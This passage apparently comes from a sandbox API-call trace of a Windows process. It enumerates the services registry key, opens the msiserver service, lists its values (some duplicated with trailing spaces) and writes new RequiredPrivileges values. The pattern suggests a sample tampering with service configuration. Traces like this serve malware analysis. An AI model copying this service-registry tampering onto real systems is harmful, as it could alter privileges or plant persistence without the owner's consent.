lpName="CscService") returned 0x0 [0228.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0228.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0228.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0228.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0228.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0228.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0228.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0228.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0228.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0228.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0228.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0228.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0228.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0228.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0228.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0228.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0228.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0228.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0228.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0228.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0228.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0228.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0228.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0228.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0228.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0228.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0228.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0228.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0228.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0228.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0228.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0228.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0228.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0228.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0228.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0228.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0228.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0228.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0228.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0228.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0228.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0228.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0228.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0228.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0228.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0228.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0228.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0228.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0228.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0228.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0228.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0228.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0228.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0228.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0228.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0228.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0228.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0228.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0228.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0228.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0228.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0228.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0228.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0228.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0228.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0228.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0228.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0228.929] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0228.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0228.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0228.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0228.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0228.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0228.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0228.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0228.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0228.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0228.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0228.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0228.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0228.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0228.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0228.931] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0228.931] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0228.931] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0228.931] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0228.931] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0228.931] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0228.931] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0228.931] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0228.931] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0228.931] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0228.931] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0228.931] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0228.931] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0228.931] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0228.931] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0228.932] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0228.932] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0228.932] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0228.932] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0228.932] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0228.932] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0228.932] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0228.932] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0228.932] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0228.932] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0228.932] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0228.932] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0228.932] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0228.932] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0228.933] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0228.933] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0228.933] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0228.933] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0228.933] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0228.933] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0228.933] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0228.933] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0228.933] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0228.933] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0228.933] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0228.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0228.933] RegCloseKey (hKey=0xc4) returned 0x0 [0228.933] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0228.934] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0228.934] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0228.934] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0228.934] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0228.934] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0228.934] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0228.934] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0228.934] RegCloseKey (hKey=0x80000002) returned 0x0 [0228.934] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0228.934] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0228.934] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0228.934] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0228.934] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0228.934] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0228.935] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0228.935] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0228.935] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0228.935] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.935] RegCloseKey (hKey=0x154) returned 0x0 [0228.935] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0228.935] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0228.935] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0228.935] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0228.935] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0228.935] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0228.935] RegCloseKey (hKey=0xc4) returned 0x0 [0228.935] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0228.935] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0228.936] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0228.936] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0228.936] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0228.936] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0228.936] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0228.936] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0228.936] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0228.936] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.936] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.937] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.937] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.937] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.937] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.937] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.937] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.937] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.937] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.937] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.937] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.937] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.937] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.937] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.938] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.938] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0228.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0228.938] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0228.938] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0228.938] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | 